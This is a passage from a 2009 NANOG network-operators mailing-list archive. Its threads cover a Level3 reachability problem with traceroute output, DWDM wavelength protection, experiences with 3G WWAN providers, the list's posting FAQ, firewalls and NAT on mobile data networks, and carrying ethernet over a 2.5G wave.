the intended recipient, please contact the sender and destroy all copies of this message. -- This email has been scanned by the Sybari - Antigen Email System. From rgolodner at infratection.com Wed Apr 15 16:10:12 2009 From: rgolodner at infratection.com (Richard Golodner) Date: Wed, 15 Apr 2009 16:10:12 -0500 Subject: Level3 funkiness In-Reply-To: <8B79B73777E7D544A24BEB8FC50D35DB5273A1@MERCURY.socrdu.com> References: <20090415193537.GA63377@infiltrated.net> <8B79B73777E7D544A24BEB8FC50D35DB527394@MERCURY.socrdu.com> <8C60783C27E6DD4AAC4EFE7FB5CD54A019D6CA4692@sea5exbe2.speakeasy.hq> <8B79B73777E7D544A24BEB8FC50D35DB5273A1@MERCURY.socrdu.com> Message-ID: <00d901c9be0e$91450910$b3cf1b30$@com> As Brandon had stated earlier: Out of Chicago on RCN onto L3. Tracing route to level3.net [63.211.236.36] over a maximum of 30 hops: 1 1 ms 4 ms 1 ms 10.10.10.1 (My home) 2 7 ms 9 ms 8 ms 10.20.0.1(RCN interior network) 3 10 ms 8 ms 10 ms vl2.aggr1.chgo.il.rcn.net [207.229.191.130] 4 10 ms 7 ms 10 ms tge3-1.border2.eqnx.il.rcn.net [207.172.19.159] 5 11 ms 8 ms 10 ms te-8-3.car3.Chicago1.Level3.net [4.71.101.73] 6 11 ms 17 ms 19 ms ae-31-53.ebr1.Chicago1.Level3.net [4.68.101.94] 7 8 ms 8 ms 7 ms ae-6.ebr1.Chicago2.Level3.net [4.69.140.190] 8 44 ms 34 ms 36 ms ae-3.ebr2.Denver1.Level3.net [4.69.132.61] 9 * ge-9-1.hsa1.Denver1.Level3.net [4.68.107.99] reports: Destination host unreachable. Trace complete. Richard From niels=nanog at bakker.net Wed Apr 15 16:13:02 2009 From: niels=nanog at bakker.net (Niels Bakker) Date: Wed, 15 Apr 2009 23:13:02 +0200 Subject: Level3 funkiness In-Reply-To: <20090415195629.GA65205@infiltrated.net> References: <20090415193537.GA63377@infiltrated.net> <607f1e0a0904151245m55d46c0fxb116090a984799da@mail.gmail.com> <20090415195629.GA65205@infiltrated.net> Message-ID: <20090415211302.GX9502@burnout.tpb.net> * sil at infiltrated.net (J. Oquendo) [Wed 15 Apr 2009, 22:31 CEST]: >Yes discovered that then thought about reposting full traceroute >feeds. It was the *.com I can get through now from 4 out of like >8 addresses. Actually on the phone with Level3 right now Wait, what? Are you seriously calling Level 3, a global operator of IP and transport networks, to ask them about why their *web site* is down? Furrfu. -- Niels. From martin at theicelandguy.com Wed Apr 15 16:25:32 2009 From: martin at theicelandguy.com (Martin Hannigan) Date: Wed, 15 Apr 2009 17:25:32 -0400 Subject: Level3 funkiness In-Reply-To: <49E63E9E.9080102@blastro.com> References: <20090415193537.GA63377@infiltrated.net> <91864382B2433640BA2A447041B3DBC30A4F5FC5@wil-exmb01.bbtnet.com> <49E63E9E.9080102@blastro.com> Message-ID: On Wed, Apr 15, 2009 at 4:07 PM, Alex Thurlow wrote: > Same result from Cogent in Texas. Dying at ge-6-2.hsa1.Denver1.Level3.net > > # traceroute level3.net I didn't know that an unreachable A record indicated that (3) was down :-) http://www.level3.com/lookingglass/ I can reach Denver and www.level3.com, et. Al. I seem to be able to reach everything. Is the NOC number still 1-877-2LEVEL3? Martin -- Martin Hannigan martin at theicelandguy.com p: +16178216079 Power, Network, and Costs Consulting for Iceland Datacenters and Occupants From ras at e-gerbil.net Wed Apr 15 16:34:12 2009 From: ras at e-gerbil.net (Richard A Steenbergen) Date: Wed, 15 Apr 2009 16:34:12 -0500 Subject: [SPAM-HEADER] - Re: Diversity - was: Fiber cut in SF area - Email has different SMTP TO: and MIME TO: fields in the email addresses In-Reply-To: <1E8B940C5E21014AB8BE70B975D40EDB01627F09@bert.HiberniaAtlantic.local> References: <980166851-1239753358-cardhu_decombobulator_blackberry.rim.net-1181880333-@bxe1247.bisx.prod.on.blackberry> <1E8B940C5E21014AB8BE70B975D40EDB01627F04@bert.HiberniaAtlantic.local> <20090415155426.GU51443@gerbil.cluepon.net> <1E8B940C5E21014AB8BE70B975D40EDB01627F09@bert.HiberniaAtlantic.local> Message-ID: <20090415213412.GW51443@gerbil.cluepon.net> On Wed, Apr 15, 2009 at 06:37:36PM +0100, Rod Beck wrote: > Hi Richard, > > I never said that protected LAN PHY 10 GigE was more expensive than > two diversely routed waves. Strange, the e-mail from you that I quoted specifically said: > Bottom line is that it will cost more than two diversely routed 10 gig > waves. But at any rate... > However, Hibernia's engineers have advised that route protected LAN > PHY 10 GigE will tolerate a relatively high BER before switching. I > stand by that statement. > > I said that protected STM64 service was more expensive and that is > true. Not only do you need two diversely STM64 waves, but you need > protection as well. Modern DWDM systems don't care about they content of the payload, they use a system called OTN (optical transport networks) as a generic digital wrapper around the payload, and then they deal entirely with the OTN frame. This makes features like optical protection protocol agnostic, and remove any kind of cost difference based on the type of service. I think you're confusing the old style system of implementing a SONET/SDH based ring as a method of delivering protected services, with the modern techniques of delivering 10G or other subrate services as LAN PHY or SONET/SDH or some other protocol. These are completely different things. > I have sold almost 30 ten gig waves (leases) and I have only received > one request (global bank) for protected service. When I priced at the > twice the price of an unprotected service plus a 10% premium, that > request was downsized to a protected STM16. Well, I DID point out some compelling reasons why one might want to do 2x (or more) diversely routed unprotected wavelengths rather than a protected service. There are many other reasons, such as statistically multiplexed oversubscribtion on multiple unprotected circuits during the normal non-failure state. At any rate, I'm not in a position to explain the logic or motivations of the people who buy waves from you, all I can tell you is how the technology works and what it costs to deploy it. As such, my previous explanation was correct. :) > Customers in general are simply not willing to pay for protection. > Indeed, most of them prefer to load balance among diversely routed 10 > gig waves or buy waves on several network or cable systems. All perfectly legitimate reasons why one might want to do multiple diverse unprotected wavelengths, but this is still orthogonal to the assertions that protected wavelengths are not possible, not reliable, or cost more to implement than 2x unprotected waves. Also, keep in mind that the availability of > 2-degree protection on modern DWDM platforms could *easily* result in optically protected wavelengths which are much cheaper to deliver than diversely routed unprotected paths. For example, lets consider the scenerio you previously gave of a 10G wavelength from Chicago to Frankfurt. Using an optical switching protection system, a provider could survive a fiber cut between Chicago and Cleveland in Detroit by wrapping the wavelengths via Chicago Indianapolis Cincinatti Cleveland, before continuing on its way to Frankfurt. This eliminates the need to provision capacity on two completely diverse paths, which may not even exist or which may have extremely poor latency choices, and reduces the cost to deliver the service. As always, the benefits of such a system depend on both the carrier's and the customers' footprints. I suspect you'll start to see more of this in the future, as Level3 seems to be adopting it. -- Richard A Steenbergen http://www.e-gerbil.net/ras GPG Key ID: 0xF8B12CBC (7535 7F59 8204 ED1F CC1C 53AF 4C41 5ECA F8B1 2CBC) From dave at stayonline.com Wed Apr 15 17:08:25 2009 From: dave at stayonline.com (Dave Larter) Date: Wed, 15 Apr 2009 18:08:25 -0400 Subject: Level3 funkiness In-Reply-To: <20090415211302.GX9502@burnout.tpb.net> References: <20090415193537.GA63377@infiltrated.net><607f1e0a0904151245m55d46c0fxb116090a984799da@mail.gmail.com><20090415195629.GA65205@infiltrated.net> <20090415211302.GX9502@burnout.tpb.net> Message-ID: <8B79B73777E7D544A24BEB8FC50D35DB5273BA@MERCURY.socrdu.com> I don't think you will ever get a "true" answer, maybe someone just forgot to re-reg the domain ;) -----Original Message----- From: Niels Bakker [mailto:niels=nanog at bakker.net] Sent: Wednesday, April 15, 2009 5:13 PM To: nanog at nanog.org Subject: Re: Level3 funkiness * sil at infiltrated.net (J. Oquendo) [Wed 15 Apr 2009, 22:31 CEST]: >Yes discovered that then thought about reposting full traceroute >feeds. It was the *.com I can get through now from 4 out of like >8 addresses. Actually on the phone with Level3 right now Wait, what? Are you seriously calling Level 3, a global operator of IP and transport networks, to ask them about why their *web site* is down? Furrfu. -- Niels. From surfer at mauigateway.com Wed Apr 15 18:00:27 2009 From: surfer at mauigateway.com (Scott Weeks) Date: Wed, 15 Apr 2009 16:00:27 -0700 Subject: tcptraceroute, traceroute and IP addresses [was]Re: Level3 funkiness Message-ID: <20090415160027.8D68544A@resin11.mta.everyone.net> > # traceroute level3.net When diagnosing things like this try using the IP address and tcptraceroute or some similar tool. NOT plain old traceroute and a DNS name. Especially when writing to a list with participants as technically involved as those on NANOG. scott From dave at stayonline.com Wed Apr 15 18:16:03 2009 From: dave at stayonline.com (Dave Larter) Date: Wed, 15 Apr 2009 19:16:03 -0400 Subject: tcptraceroute, traceroute and IP addresses [was]Re: Level3 funkiness In-Reply-To: <20090415160027.8D68544A@resin11.mta.everyone.net> References: <20090415160027.8D68544A@resin11.mta.everyone.net> Message-ID: <8B79B73777E7D544A24BEB8FC50D35DB5273BB@MERCURY.socrdu.com> I can now get to .com ok, but .net net traces ok but the site doesn't come up in a browser and tr does work. So they have fixed part of the problem, at last from here. C:\Documents and Settings\netman>tracert level3.net Tracing route to level3.net [4.68.95.11] over a maximum of 30 hops: 1 113 ms 126 ms 386 ms argon.socrdu.net [64.132.109.136] 2 * 248 ms 113 ms 64.132.109.130 3 123 ms * 113 ms 64.132.109.129 4 138 ms 126 ms 119 ms 64-132-140-113.static.twtelecom.net [64.132.140.113] 5 137 ms 140 ms 138 ms 66.192.240.22 6 160 ms 128 ms 138 ms te-4-1.car1.washington3.level3.net [4.68.110.89] 7 138 ms 145 ms 146 ms vlan69.csw1.washington1.level3.net [4.68.17.62] 8 132 ms 133 ms 140 ms ae-62-62.ebr2.washington1.level3.net [4.69.134.145] 9 174 ms 159 ms 145 ms ae-2-2.ebr2.chicago2.level3.net [4.69.132.69] 10 188 ms 159 ms 166 ms ae-1-100.ebr1.chicago2.level3.net [4.69.132.113] 11 196 ms 179 ms 200 ms ae-3.ebr2.denver1.level3.net [4.69.132.61] 12 194 ms 182 ms 180 ms ge-9-0.hsa1.denver1.level3.net [4.68.107.35] 13 185 ms 179 ms 199 ms 4.68.94.1 14 176 ms 186 ms 199 ms www.level3.com [4.68.95.11] Trace complete. C:\Documents and Settings\netman>tracert 4.68.95.11 Tracing route to www.level3.com [4.68.95.11] over a maximum of 30 hops: 1 571 ms 119 ms 106 ms argon.socrdu.net [64.132.109.136] 2 125 ms 119 ms 114 ms 64.132.109.130 3 113 ms 119 ms 112 ms 64.132.109.129 4 128 ms 119 ms 118 ms 64-132-140-113.static.twtelecom.net [64.132.140.113] 5 150 ms 132 ms 146 ms 66.192.240.22 6 144 ms 133 ms 139 ms te-4-1.car1.washington3.level3.net [4.68.110.89] 7 127 ms 158 ms 139 ms vlan69.csw1.washington1.level3.net [4.68.17.62] 8 139 ms 137 ms 139 ms ae-62-62.ebr2.washington1.level3.net [4.69.134.145] 9 158 ms 166 ms 167 ms ae-2-2.ebr2.chicago2.level3.net [4.69.132.69] 10 160 ms 165 ms 153 ms ae-1-100.ebr1.chicago2.level3.net [4.69.132.113] 11 189 ms 203 ms 328 ms ae-3.ebr2.denver1.level3.net [4.69.132.61] 12 180 ms 187 ms 191 ms ge-9-0.hsa1.denver1.level3.net [4.68.107.35] 13 201 ms 179 ms 193 ms 4.68.94.1 14 185 ms 179 ms 172 ms www.level3.com [4.68.95.11] Trace complete. C:\Documents and Settings\netman> -----Original Message----- From: Scott Weeks [mailto:surfer at mauigateway.com] Sent: Wednesday, April 15, 2009 7:00 PM To: nanog at nanog.org Subject: tcptraceroute, traceroute and IP addresses [was]Re: Level3 funkiness > # traceroute level3.net When diagnosing things like this try using the IP address and tcptraceroute or some similar tool. NOT plain old traceroute and a DNS name. Especially when writing to a list with participants as technically involved as those on NANOG. scott From charles at thewybles.com Wed Apr 15 18:56:46 2009 From: charles at thewybles.com (Charles Wyble) Date: Wed, 15 Apr 2009 16:56:46 -0700 Subject: Looking for AT&T / Verizon / Sprint WWAN service impressions- on or off-list replies welcome In-Reply-To: References: Message-ID: <49E6743E.1080900@thewybles.com> What is it about the bloody telcos. You want to spend money, but yet you can't reach the right people to get your questions answered or schedule the service. Gah. I experienced this recently, trying to have some inside wiring work done at my house. They rolled a tech, but then he claimed he "wasn't prepared" to do the work. What exactly was he prepared to do, on an inside wiring call? It took multiple calls / disconnects to SBC to get to the right dept and have a tech deployed who was actually prepared to install the jack. Do these places take courses on anti sustainability? It's amazing they are still in business. Crooks, Sam wrote: > > After much hassle and several false starts and disconnects in getting in > touch with the right department in Sprint, I spoke to a woman in > technical support in the group that supports 3G data cards. > > She said: > > - public IP addresses are used > - static IP available for $3/mo additional > - maximum 3G data plan is 5GB/mo of data transfer, retail reate, $60/mo > (which is typically cheaper than your typical ADSL/IDSL or ISDN service > cost) > > > Sam Crooks > > From joel.mercado at verizon.net Wed Apr 15 19:46:25 2009 From: joel.mercado at verizon.net (joel.mercado at verizon.net) Date: Thu, 16 Apr 2009 00:46:25 +0000 Subject: Looking for AT&T / Verizon / Sprint WWAN service impressions- onor off-list replies welcome Message-ID: <1253762937-1239842778-cardhu_decombobulator_blackberry.rim.net-397605768-@bxe1247.bisx.prod.on.blackberry> I am 100 percent with you on this. Some techs arrive to our data center with no tools and they have the same response I just thought it was a simple install. I know they have different levels for techs but you should not have to wait another couple of days to complete a install. They should send another tech same day but that's not the case. ------Original Message------ From: Charles Wyble To: Crooks, Sam Cc: nanog at nanog.org Subject: Re: Looking for AT&T / Verizon / Sprint WWAN service impressions- onor off-list replies welcome Sent: Apr 15, 2009 7:56 PM What is it about the bloody telcos. You want to spend money, but yet you can't reach the right people to get your questions answered or schedule the service. Gah. I experienced this recently, trying to have some inside wiring work done at my house. They rolled a tech, but then he claimed he "wasn't prepared" to do the work. What exactly was he prepared to do, on an inside wiring call? It took multiple calls / disconnects to SBC to get to the right dept and have a tech deployed who was actually prepared to install the jack. Do these places take courses on anti sustainability? It's amazing they are still in business. Crooks, Sam wrote: > > After much hassle and several false starts and disconnects in getting in > touch with the right department in Sprint, I spoke to a woman in > technical support in the group that supports 3G data cards. > > She said: > > - public IP addresses are used > - static IP available for $3/mo additional > - maximum 3G data plan is 5GB/mo of data transfer, retail reate, $60/mo > (which is typically cheaper than your typical ADSL/IDSL or ISDN service > cost) > > > Sam Crooks > > Sent on the Now Network? from my Sprint?? BlackBerry From eddies at softhome.net Wed Apr 15 21:08:52 2009 From: eddies at softhome.net (Eddie) Date: Wed, 15 Apr 2009 19:08:52 -0700 Subject: Looking for AT&T / Verizon / Sprint WWAN service impressions - on or off-list replies welcome In-Reply-To: References: Message-ID: <49E69334.6010007@softhome.net> Crooks, Sam wrote: > I'm considering use of AT&T / Verizon / Sprint WWAN services and the > Cisco 3G router interface cards/integrated module in C880 routers for > primary or backup WAN network connectivity for routers. > > I'm looking for information from users of these services on the > following: I have only Verizon at the remote locations. But I have messed with the others. > > - addressing - Do these WWAN services use dynamic, PPPoE or static IP > assignment typically? Any of the 3? All? > - is static IP assignment available? Verizon is private NAT by default. They will provide a static public IP address for a one time fee of $500. If I recall right, it's still PPP, but you get the same IP address every time. As of 6 months ago, Sprint did not have a static IP option. I now hear that they do. > > - do these service providers use NAT within their network? > > - How is the service reliability? In most cases, is the service > available for use when you need to use it? Depends on your location and the type of radio (USB or pcmcia) you use. The USB ones tend to flake out on me more, but it might be the router or other issues. > - How is the service coverage area? Do you have problems getting > sufficient coverage in the deplouyment location to support desired > speeds (say 512kbps up/down as a minimum)? Once again, this depends on your area. I use it as a last ditch effort when DSL is not available. > - is ESP / IKE / IPsec permitted through un-rate-limited and un-molested > by the providers? No problems using IPSEC tunnels (Cisco PIX) over Verizon EVDO. > - If you build a IPsec/GRE tunnel over these services, do you have > frequent issues with the tunnel dropping, or a dynamic routing protocol > running through the tunnel going down frequently? The Cisco Pix series tend to rebuild a dropped tunnel, so I can't say I have looked into it that deeply. > > Also interested in similar information on impressions of similar EMEA > WWAN service providers, particularly Vodaphone and T-Mobile, if anyone > has experiences with these. I have had issues running IPSEC tunnels over a local WISP. Whenever they would drop out do to maint (normally once a year), I could no longer establish an VPN tunnel. It would often take days to weeks before the tunnel would work again. Something in their system would drop the packets. Never found the cause and switched over to EVDO. No problems bringing up a VPN connection on my laptop, tethered to my G1 phone on T-Mobile. > > > Replies on-list or off-list are welcome.... Your choice. > > Cisco 3G interface and provider information: > > http://www.cisco.com/en/US/products/ps7272/index.html > > http://www.cisco.com/en/US/prod/routers/networking_solutions_products_ge > nericcontent0900aecd80601f7e.html#~north-america > > > > Regards, > > Sam Crooks > > > > > -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 251 bytes Desc: OpenPGP digital signature URL: From simon at darkmere.gen.nz Wed Apr 15 21:14:01 2009 From: simon at darkmere.gen.nz (NANOG Mail List Committee) Date: Thu, 16 Apr 2009 14:14:01 +1200 Subject: ADMIN: List FAQ/Monthly Post. Message-ID: This 100-line document contains 62% of what you need to know to avoid annoying 10,000 people in your email to the NANOG list. It also contains pointers to another 23%. Please take 5 minutes to read it before you post [again]. General Information =================== About NANOG: http://www.nanog.org/about/ NANOG News: http://www.nanog.org/ NANOG lists and AUP: http://www.nanog.org/mailinglist/ NANOG List FAQ: http://www.nanog.org/mailinglist/listfaqs/ To Subscribe or Unsubscribe from the list: http://mailman.nanog.org/mailman/listinfo/nanog To contact the list's admins: admins at nanog.org Posting Policy ============== The NANOG list has over 10,000 subscribers so it is very easy for a thread to have scores of posts while being off-topic and only of interest to only a small proportion of subscribers. Please consider before each post if your email will be of interest to the majority of members or might alternatively be emailed directly the people of interest or posted to another forum. Please read the FAQ and AUP policy before posting for more details. Especially the following are discouraged: * Is a certain site down? Other Outages not affecting half the Internet. Please use http://downforeveryoneorjustme.com/ or a similar site. Please post to the Outages mailing list: http://wiki.outages.org * Spam Please use SPAM-L - http://www.claws-and-paws.com/spam-l * Contacting People * http://puck.nether.net/netops/ * Please try other methods of contacting sites before you post to NANOG. Saying something like "I tried calling 213-555-3333 but no answer" shows you _have_ tried alternative methods first. * Political Issues * Topics such as ICANN policy, Government Policy or Law changes that do not have short term Operational impact should be avoided. * Operation topics with more specific lists * DNS - http://lists.oarci.net/mailman/listinfo/dns-operations * Email - http://www.mailop.org/ * NANOG Mailing list policy Please use the nanog-futures list or contact admins at nanog.org Please also avoid ================= * Sending posts to the list relevant to only one or two people on this list, such as tests or traceroutes in response to another post for comparison to those originally posted. * Jokes, Puns, amusing observations, spelling corrections. Other NANOG related lists ========================= * NANOG-futures - for discussion of the evolution of NANOG, including organizational structure, policies and procedures, and agendas for NANOG meetings. Such topics aren't appropriate for the main NANOG mailing list. http://mailman.nanog.org/mailman/listinfo/nanog-futures * nanog-attendee - For discussion of venue-specific issues relevant to attendees of the current NANOG physical meeting. http://mailman.nanog.org/mailman/listinfo/nanog-attendee * nanog-announce - For announcements of NANOG meetings an other Important NANOG related announcements. Low traffic and all posts are also sent to main list. http://mailman.nanog.org/mailman/listinfo/nanog-announce Other Mailing Lists =================== Information about related lists: http://www.nanog.org/mailinglist/listfaqs/otherlists.php From energydaka at yahoo.co.uk Thu Apr 16 04:03:36 2009 From: energydaka at yahoo.co.uk (energy Duwety Daka) Date: Thu, 16 Apr 2009 09:03:36 +0000 (GMT) Subject: Mailing list Message-ID: <77684.39361.qm@web23907.mail.ird.yahoo.com> May you please add me to the mailing list. From a.harrowell at gmail.com Thu Apr 16 04:46:31 2009 From: a.harrowell at gmail.com (Alexander Harrowell) Date: Thu, 16 Apr 2009 10:46:31 +0100 Subject: Looking for AT&T / Verizon / Sprint WWAN service impressions - on =?iso-8859-1?q?or=09off-list_replies?= welcome Message-ID: <200904161046.40580.alexander.harrowell@stlpartners.com> On Thursday 16 April 2009 03:08:52 Eddie wrote: > > Also interested in similar information on impressions of similar EMEA > > WWAN service providers, particularly Vodaphone and T-Mobile, if anyone > > has experiences with these. > I regularly use 3UK (Hutchison)'s data service. ?10 gets you 15GB of xfer a month, but you need to either sign a contract or else pay ?50 for the hardware, which as with most UMTS operators is a Huawei E220 USB dongle. That particular device currently supports radio air interfaces from GSM up to HSPA 7.2Mbit/s. There is support for the E220 in current Linux kernels. However, 3UK (and most of the other operators) ship it with a Windows client program installed on the USB device that autoruns when you connect it to a computer. This provides a "pretty" interface to it. Unfortunately, it also means that unless you activate the device at once, under Linux it gets detected as a USB mass storage device not a tty. You can get around this if you connect it before booting; I think there is a modprobe or similar operation that has to happen, so there is almost certainly a command-line workaround. If it is working correctly you should be able to see three new ttys in /dev/USB. You can then use whatever program you like to dial up, or just run wvdial. In my experience 3UK works reasonably well; they advertise maximum speeds of 3.6Mbit/s downlink, but I've seen higher in practice. The uplink seems to max out at 600-700Kbit/s, which is considerably better than my DSL line. IPs are dynamic, and things like Skype pass through without trouble. I have successfully SSHd into a linux box both from a PC over the modem and using PuTTY from a Nokia E71. Warnings: 3UK's DNS could be better, when I am using their service from a PC I usually set up OpenDNS. On the move, you may encounter problems with the step- down between UMTS and GPRS; 3 gets its backup GPRS national roaming from Orange and you can easily lose a connection between the two. T-Mobile UK was the first UK operator to provide open slather Internet service; they offer a higher level of "unlimited" for a price, which includes not blocking VoIP and a static IP. Otherwise expect similar to 3, as they are beginning to share their radio access networks. Vodafone probably has more coverage than anyone else, but their Internet service may not be to your taste. When they started doing pure 'net, they had a restriction on Web pages over 200KB and pushed everything else through a Novarra box to compress it, which broke a lot of things; I once got a header in my blog server logs that mentioned an XMS, a Novarra, a squid proxy and something from 724 Networks. ------------------------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 194 bytes Desc: This is a digitally signed message part. URL: From trejrco at gmail.com Thu Apr 16 08:58:07 2009 From: trejrco at gmail.com (TJ) Date: Thu, 16 Apr 2009 09:58:07 -0400 Subject: Do we still need Gi Firewall for 3G/UMTS/HSPA network ? In-Reply-To: <49DE7201.4070509@thewybles.com> References: <982D8D05B6407A49AD506E6C3AC8E7D6E5092CE6A0@caralain.haven.nynaeve.net> <49DE7201.4070509@thewybles.com> Message-ID: <00ba01c9be9b$61c49010$254db030$@com> That's why you use Teredo - it defeats that sort of simple statefulness, and works. ((SSH'ed from one laptop (WinXP, using MS's Teredo over double-NATed v4 connection) to another laptop (Ubuntu, EVDO, + Miredo) ... although it was pretty slow, it fit my needs at the time.)) For a time, maybe still today?, 6to4 would work as well. That is, the carrier may have been filtering unsolicited TCP/UDP ... but not Protocol41. (Off the top of my head, I forget which providers fell into which side of the ItWorked | ItStillWorks camp) /TJ >-----Original Message----- >From: Charles Wyble [mailto:charles at thewybles.com] >Sent: Thursday, April 09, 2009 6:09 PM >To: Skywing >Cc: NANOG list >Subject: Re: Do we still need Gi Firewall for 3G/UMTS/HSPA network ? > >Yep verizon does indeed filter all unsolicated inbound traffic to the EVDO >network. It can be a blessing or a curse. :) > >Skywing wrote: >> Verizon filters unsolicited inbound traffic for their EVDO customers in my >experience. >> >> - S >> >> -----Original Message----- >> From: Roland Dobbins >> Sent: Thursday, April 09, 2009 09:32 >> To: NANOG list >> Subject: Re: Do we still need Gi Firewall for 3G/UMTS/HSPA network ? >> >> >> On Apr 9, 2009, at 11:48 PM, Lee, Steven (NSG Malaysia) wrote: >> >>> Please share your thought and thanks in advance :) >> >> No, IMHO. Most broadband operators don't insert firewalls inline in >> front of their subscribers, and wireless broadband is no different. >> >> The infrastructure itself must be protected via iACLs, the various >> vendor-specific control-plane protection mechanisms, and so forth, but >> inserting additional state in the middle of everything doesn't buy >> anything, and introduces additional constraints and concerns. >> >> ---------------------------------------------------------------------- >> - Roland Dobbins // +852.9133.2844 mobile >> >> Our dreams are still big; it's just the future that got small. >> >> -- Jason Scott >> >> >> From will at loopfree.net Thu Apr 16 18:34:02 2009 From: will at loopfree.net (will at loopfree.net) Date: Thu, 16 Apr 2009 16:34:02 -0700 Subject: So I've got this 2.5gig wave, what do I do with it? Message-ID: <20090416233402.GB26153@loopfree.net> Due to the vagaries of telecom pricing, I've ended up with a 2.5gig wavelength service between two locations when what I really wanted was a gig-e or two. I'm really not sure if this is a "transparent" wave service or not... the carrier is using gear from Ciena to hand it off to us and they seem to be big on transparent waves, so maybe it is, but nobody seems to be able to say for sure. So, how can I best make use of this beast in my ethernet-centered world? 1- Since it doesn't cost me anything, I'm going to try to send a gigabit LX signal and see what happens. The handoff from the carrier to me seems to be a plain 1310 type of signal... Light goes on, light goes off, maybe the carrier's gear doesn't care that it's not modulating "fast enough" and I'll get lucky? 2- MRV's EM2009-GM2 card takes 2xGE and spits out a 2.5G signal of some sort. However they won't guarantee me that it'll work when talking to the Ciana card the carrier is using. I should probably inquire about their return policy and go for it. The SFPs they spec on the trunk side are the same as those for OC48, so as long as my wave is transparent and not expecting OC48 framing I'm thinking this would work. 3- I can buy an OC48 box and mux some GE onto it with GFP/VCAT. Expensive and overcomplicated since I don't need anything but ethernet. Anyone have some clue for me? I'm starting to wish we'd just jumped to 10G waves since at least there it's clear how to interop with 10gig ethernet. -Will Orton will at loopfree.net From mike at sentex.net Thu Apr 16 20:59:52 2009 From: mike at sentex.net (Mike Tancsa) Date: Thu, 16 Apr 2009 21:59:52 -0400 Subject: Do we still need Gi Firewall for 3G/UMTS/HSPA network ? In-Reply-To: <6bb5f5b10904092119y21971ffdm77333e62433b8c86@mail.gmail.co m> References: <084962C061414240A0CDB4BE328A9B2D119F91724A@GVW1100EXC.americas.hpqcorp.net> <6bb5f5b10904092119y21971ffdm77333e62433b8c86@mail.gmail.com> Message-ID: <200904170159.n3H1x5lW052511@lava.sentex.ca> At 12:19 AM 4/10/2009, Rubens Kuhl wrote: >On shared media like radio access, every unwanted packet means less >performance you will get out of the network. >This can be done by NAT, >stateful filtering with public IPs or stateless filtering with public >IPs; the advantage of doing NAT is making it easier for the end-point >software to know that (two ways: noticing your local IP address is >from RFC1918 space, or connecting to a server that tells your IP in >order to compare it to the local address). > >As such, GPRS, EDGE, EVDO, HSPA, LTE and Mobile WiMAX services have >good reasons to use NAT, and most do. Speaking of unwanted traffic, I was quite surprised how much unwanted traffic I see on my RFC 1918 space thats given out by one of the Canadian telcos-- i.e. this is behind the giant natting firewalls.... Blocking all inbound traffic and logging to pflog (pcap format) Its full of cruft like this 0[i7]# tcpdump -nr /var/log/pflog | head -2 reading from file /var/log/pflog, link-type PFLOG (OpenBSD pflog file) 16:01:09.899554 IP 10.141.184.158.2167 > 10.141.81.113.445: Flags [S], seq 2743613661, win 53760, options [mss 1360,nop,wscale 3,nop,nop,TS[|tcp]> 16:01:10.439516 IP 10.141.184.158.2167 > 10.141.81.113.445: Flags [S], seq 2743613661, win 53760, options [mss 1360,nop,wscale 3,nop,nop,TS[|tcp]> Looking at the pflogs for the last 3 days of just port 445 and 135 scans traffic as well as the odd ping packet 1[i7]# cat pflo* | tcpdump -nr - -w /tmp/scan.pcap port 445 or port 135 or icmp reading from file -, link-type PFLOG (OpenBSD pflog file) tcpdump: pcap_loop: bogus savefile header 1[i7]# tcpstat -r /tmp/scan.pcap -a Bytes/sec = 0.4 B Bytes/minute = 26.2 B Bytes/hour = 1.5 KB Bytes/day = 36.8 KB Bytes/month = 1.1 MB 0[i7]# Hmmm... considering some plans start at 1MB per month.... ---Mike From asr+nanog at latency.net Thu Apr 16 22:28:40 2009 From: asr+nanog at latency.net (Adam Rothschild) Date: Thu, 16 Apr 2009 23:28:40 -0400 Subject: So I've got this 2.5gig wave, what do I do with it? In-Reply-To: <20090416233402.GB26153@loopfree.net> References: <20090416233402.GB26153@loopfree.net> Message-ID: <20090417032840.GA68466@latency.net> As Facebook might caution us, "it's complicated". It's not uncommon for a 2.5G wave to be protocol-agnostic most of the way through, and then required to pass through a SONET/SDH framer at the end... You've be well-served to find somebody at your carrier clued on their transport platform, or absent that, able to read off the configuration options their shiny OSS GUI provides. If you could shed some light on who the carrier is, chances are they've got a customer or two on the list able to provide some implementation specifics. The silver lining in this all is nobody's buying 2.5G wave service, and as such, there's a plethora of cheap hardware options on the secondary market able to handle the requisite circuit emulation and/or packet forwarding -- Cisco 15454/GSR/OSM, Turin, Juniper routers with I-1OC48-SON-SMIR and P-1GE-SX-Bs -- choose your poison. (Easier still, albeit far less fun, upgrade to a 10G {LAN,WAN}-PHY interface for a couple pennies more. :-) HTH, -a From barton at gnaps.com Fri Apr 17 00:20:22 2009 From: barton at gnaps.com (Barton F Bruce) Date: Fri, 17 Apr 2009 01:20:22 -0400 Subject: So I've got this 2.5gig wave, what do I do with it? References: <20090416233402.GB26153@loopfree.net> Message-ID: <44BA3F0E4D8A4980878590FF480B45E7@bvsupport> > Due to the vagaries of telecom pricing, I've ended up with a 2.5gig > wavelength service between two locations when what I really wanted was a > gig-e or two. > > I'm really not sure if this is a "transparent" wave service or not... > the carrier is using gear from Ciena to hand it off to us and they seem > to be big on transparent waves, so maybe it is, but nobody seems to be > able to say for sure. OTU-1 ? Is it coming off a ciena CN 4200 ? OTN / G.709 ? Go see: http://www.ciena.com/products/flexselect_otn.htm or this one, (but the OTN/G.709 link seems to be failing for some reason) http://www.sonet.com/EDU/edu.htm OTU-1 can carry an intact OC-48 that is really part of someone elses network with no undesired interactions (think "tunnel"). OTU-2 carries an OC-192 the same way, and OTU-3 is for OC-768. With the right hardware, OTU-n transports random other optical (ethernet, storage, video, etc) signals without having them on an OC-x SONET signal. And Sonet traffic can also be muxed in and carried with all the random other stuff on the same OTU-n pipe. They can probably cheerily hand you either an OC-48 capable connection or an OTU-1 one to match what you are getting for hardware, but ask. Their OTU-1 based service they are providing you might be an individual wave/lambda/color but more likely is on an OTU-2 or even OTU-3 on a system that potentially carries many dozens of them on the same fiber using DWDM.. The OTN/G.709 stuff is relatively new and very desirable, Ciena has is as well and some others - see if that is what they are using. You may want to see what Ciena has to offer you to make use of it.. They can take in an OTU-n signal in what at first glance seems to be just a transponder or possible a mux-ponder card, but they are doing a complete OEO transformation and the E part, unlike some of their competition, is used effectively to let random spare ports even on other cards in the chassis be used for components being muxed up onto this particular OTU-x signal. It is quite flexible, and that could be why you are getting confusing information about what you actually have available to you. You could get old Cerent 454 aka Cisco 15454 